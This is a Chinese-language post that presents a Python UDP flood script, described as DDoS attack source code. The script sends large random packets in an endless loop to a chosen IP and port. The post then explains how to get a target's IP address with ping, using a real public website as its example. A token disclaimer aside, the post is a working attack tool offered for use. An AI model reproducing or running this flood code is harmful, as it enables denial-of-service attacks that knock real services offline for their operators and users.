这是一个用Python编写的简单的DDoS攻击源码。该代码通过创建一个UDP套接字并发送大量随机数据包到指定的IP地址和端口号来实现DDoS攻击。攻击大小可以通过更改"bytes"变量中的数字来调整。不过我建议大家不要拿去做坏事哈!
import os
import socket
import random
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(65099)
ip = "192.168.XXX.XXX"
port = 80
os.system("clear")
sent = 0
while True:
sock.sendto(bytes, (ip, port))
sent = sent + 1
print("已发送 %s 个数据包到 %s 端口 %d" % (sent, ip, port))
如果大家不知道你要测压的网站的ip是什么,可以像这样
1.打开命令提示符
然后你会看到如下的状态
Microsoft Windows [Version 10.0.22621.2283]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Administrator>
2.输入ping 网址
Microsoft Windows [Version 10.0.22621.2283]
(c) Microsoft Corporation. All rights reserved.
C:\Users\江>ping 123.sogou.com
我这里ping的是搜狗浏览器的ip,你们的自己修改。注意!要去掉"https://"或"http://",后面不能留有"/"
3.按下回车键,你就会看到如下状态
Microsoft Windows [Version 10.0.22621.2283]
(c) Microsoft Corporation. All rights reserved.
C:\Users\Administrator>ping 123.sogou.com
Pinging ins-yskxifo9.ias.tencent-cloud.net [120.241.130.197] with 32 bytes of data:
Reply from 120.241.130.197: bytes=32 time=20ms TTL=54
Reply from 120.241.130.197: bytes=32 time=21ms TTL=54
Reply from 120.241.130.197: bytes=32 time=24ms TTL=54
Reply from 120.241.130.197: bytes=32 time=22ms TTL=54
Ping statistics for 120.241.130.197:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 20ms, Maximum = 24ms, Average = 21ms
C:\Users\Administrator>
其中120.241.130.197就是搜狗浏览器的ip了